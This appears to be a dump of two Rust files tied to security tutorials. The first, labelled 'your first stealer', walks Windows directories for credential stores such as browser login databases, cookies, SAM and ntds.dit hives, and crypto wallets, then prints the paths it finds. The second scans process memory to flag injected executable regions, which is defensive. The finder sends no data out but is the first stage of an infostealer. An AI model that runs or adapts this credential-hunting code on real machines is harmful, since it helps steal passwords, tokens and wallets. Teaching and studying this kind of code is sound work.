├── sensitive_files.rs └── simple_pi_detect.rs /sensitive_files.rs: -------------------------------------------------------------------------------- 1 | // awwrf awwrf wwwrrff! >:3 2 | // https://om.malcore.io/t/finding-common-sensitive-files-on-a-windows-machine-your-first-stealer 3 | 4 | use regex::Regex; 5 | use std::fs; 6 | use std::io; 7 | use std::path::{Path, PathBuf}; 8 | use walkdir::{DirEntry, WalkDir}; 9 | 10 | const DIRECTORIES: &[&str] = &[ 11 | "C:\\Users", 12 | "C:\\ProgramData", 13 | "C:\\Windows\\System32", 14 | "C:\\Windows", 15 | "C:\\Program Files", 16 | "C:\\Program Files (x86)", 17 | "C:\\AppData", 18 | "C:\\Documents and Settings", 19 | ]; 20 | 21 | const PASSWORD_FILES: &[&str] = &[ 22 | // browsers 23 | "Login Data", // chromium-based browsers 24 | "Login Data For Opera", 25 | "logins.json", // firefox 26 | "key3.db", // firefox encr keys 27 | "key4.db", 28 | "signons.sqlite", // older firefox 29 | "Web Data", // chrome autofill 30 | "Cookies", 31 | "Credential Locker", // WCM 32 | // windows files 33 | "SAM", // secuwity accouwnt manawer 34 | "SYSTEM", 35 | "SECURITY", 36 | "software", 37 | "ntds.dit", // AD database uwu 38 | "passwords.dat", 39 | "user.dat", 40 | "defaultuser0", // default user profile 41 | "user.key", 42 | // crypto 43 | "wallet.dat", // bitcoin 44 | "keystore", // ethereum 45 | "wallet.json", 46 | "wallet.dat.bak", 47 | "keys.json", 48 | "private.key", 49 | "privkeys.dat", 50 | "accounts.dat", 51 | // common files 52 | "passwords.xml", 53 | "credentials.json", 54 | "config.yaml", 55 | "config.json", 56 | "credentials.xml", 57 | "settings.ini", 58 | "secrets.toml", 59 | "auth.db", 60 | "tokens.dat", 61 | "securestorage.sqlite", 62 | "vault.json", 63 | "password_store", 64 | "pass.json", 65 | "api_keys.json", 66 | "database.sqlite", 67 | "databases.db", 68 | "db.sqlite", 69 | "db.json", 70 | "user_credentials.json", 71 | "secure.txt", 72 | "encrypted.dat", 73 | "protected.dat", 74 | "private_storage.bin", 75 | ]; 76 | 77 | fn is_password_file(entry: &DirEntry, patterns: &Regex) -> bool { 78 | if let Some(file_name) = entry.file_name().to_str() { 79 | patterns.is_match(file_name) 80 | } else { 81 | false 82 | } 83 | } 84 | 85 | fn main() { 86 | let escaped_patterns: Vec = PASSWORD_FILES.iter().map(|s| regex::escape(s)).collect(); 87 | let pattern = format!(r"^(?i)({})$", escaped_patterns.join("|")); 88 | let regex = match Regex::new(&pattern) { 89 | Ok(r) => r, 90 | Err(e) => { 91 | //eprintln!("invalid regex pattern: {}", e); 92 | return; 93 | } 94 | }; 95 | 96 | let mut found_files: Vec = Vec::new(); 97 | let mut inaccessible_paths: Vec = Vec::new(); 98 | 99 | for dir in DIRECTORIES { 100 | let walker = WalkDir::new(dir).follow_links(false).into_iter(); 101 | 102 | for entry in walker { 103 | match entry { 104 | Ok(entry) => { 105 | if entry.file_type().is_file() { 106 | if is_password_file(&entry, ®ex) { 107 | found_files.push(entry.path().to_path_buf()); 108 | } 109 | } 110 | } 111 | Err(e) => { 112 | if let Some(path) = e.path() { 113 | inaccessible_paths.push(path.to_path_buf()); 114 | //eprintln!("cannot access {}: {}", path.display(), e); 115 | } else { 116 | eprintln!("without a path: {}", e); 117 | } 118 | } 119 | } 120 | } 121 | } 122 | 123 | if found_files.is_empty() { 124 | println!("no common files found."); 125 | } else { 126 | println!("\nfound the following files:"); 127 | for file in &found_files { 128 | println!("{}", file.display()); 129 | } 130 | println!("\ntotal files found: {}", found_files.len()); 131 | } 132 | 133 | if !inaccessible_paths.is_empty() { 134 | println!("\n({} invalid paths).", inaccessible_paths.len()); 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /simple_pi_detect.rs: -------------------------------------------------------------------------------- 1 | // https://om.malcore.io/t/detecting-pi-with-memory-scanning-windows 2 | 3 | extern crate winapi; 4 | 5 | use std::mem::{size_of, zeroed}; 6 | use std::ptr::null_mut; 7 | use winapi::shared::minwindef::{DWORD, HMODULE, LPVOID}; 8 | use winapi::um::errhandlingapi::GetLastError; 9 | use winapi::um::handleapi::CloseHandle; 10 | use winapi::um::memoryapi::{ReadProcessMemory, VirtualQueryEx}; 11 | use winapi::um::processthreadsapi::OpenProcess; 12 | use winapi::um::psapi::{EnumProcessModules, EnumProcesses, GetModuleInformation, MODULEINFO}; 13 | use winapi::um::winnt::{ 14 | HANDLE, MEMORY_BASIC_INFORMATION, MEM_COMMIT, MEM_PRIVATE, PAGE_EXECUTE_READ, 15 | PAGE_EXECUTE_READWRITE, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ, 16 | }; 17 | 18 | fn main() { 19 | unsafe { 20 | const MAX_PROCESSES: usize = 1024; 21 | let mut process_ids = vec![0u32; MAX_PROCESSES]; 22 | let mut bytes_returned = 0u32; 23 | 24 | if EnumProcesses( 25 | process_ids.as_mut_ptr(), 26 | (MAX_PROCESSES * size_of::()) as u32, 27 | &mut bytes_returned, 28 | ) == 0 29 | { 30 | println!("EnumProcesses failed: {}", GetLastError()); 31 | return; 32 | } 33 | 34 | let num_processes = bytes_returned as usize / size_of::(); 35 | 36 | for i in 0..num_processes { 37 | let pid = process_ids[i]; 38 | scan_process(pid); 39 | } 40 | } 41 | } 42 | 43 | unsafe fn scan_process(pid: DWORD) { 44 | let process_handle: HANDLE = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, pid); 45 | if process_handle.is_null() { 46 | return; 47 | } 48 | 49 | const MAX_MODULES: usize = 1024; 50 | let mut module_handles = vec![0 as HMODULE; MAX_MODULES]; 51 | let mut cb_needed = 0u32; 52 | 53 | if EnumProcessModules( 54 | process_handle, 55 | module_handles.as_mut_ptr(), 56 | (MAX_MODULES * size_of::()) as u32, 57 | &mut cb_needed, 58 | ) == 0 59 | { 60 | // cannot enum modules 61 | } 62 | 63 | let num_modules = (cb_needed as usize) / size_of::(); 64 | let mut module_regions = Vec::new(); 65 | 66 | for i in 0..num_modules { 67 | let h_module = module_handles[i]; 68 | let mut module_info: MODULEINFO = zeroed(); 69 | if GetModuleInformation( 70 | process_handle, 71 | h_module, 72 | &mut module_info, 73 | size_of::() as u32, 74 | ) == 0 75 | { 76 | continue; 77 | } 78 | let base_of_dll = module_info.lpBaseOfDll; 79 | let size_of_image = module_info.SizeOfImage; 80 | 81 | module_regions.push((base_of_dll as usize, size_of_image as usize)); 82 | } 83 | 84 | let mut address = 0 as LPVOID; 85 | loop { 86 | let mut mbi: MEMORY_BASIC_INFORMATION = zeroed(); 87 | let result = VirtualQueryEx( 88 | process_handle, 89 | address, 90 | &mut mbi, 91 | size_of::(), 92 | ); 93 | 94 | if result == 0 { 95 | break; 96 | } 97 | 98 | // if committed + X 99 | if (mbi.State == MEM_COMMIT) 100 | && ((mbi.Protect == PAGE_EXECUTE_READWRITE) || (mbi.Protect == PAGE_EXECUTE_READ)) 101 | { 102 | let mem_start = mbi.BaseAddress as usize; 103 | let mem_end = mem_start + mbi.RegionSize; 104 | 105 | // presence in any module 106 | let mut in_module = false; 107 | for &(module_base, module_size) in &module_regions { 108 | let module_start = module_base; 109 | let module_end = module_start + module_size; 110 | 111 | if (mem_start >= module_start) && (mem_start < module_end) { 112 | in_module = true; 113 | break; 114 | } 115 | } 116 | 117 | if !in_module { 118 | println!("suspicious region in {} at 0x{:X}", pid, mem_start); 119 | } 120 | } 121 | 122 | address = (address as usize + mbi.RegionSize) as LPVOID; 123 | } 124 | 125 | CloseHandle(process_handle); 126 | } 127 | --------------------------------------------------------------------------------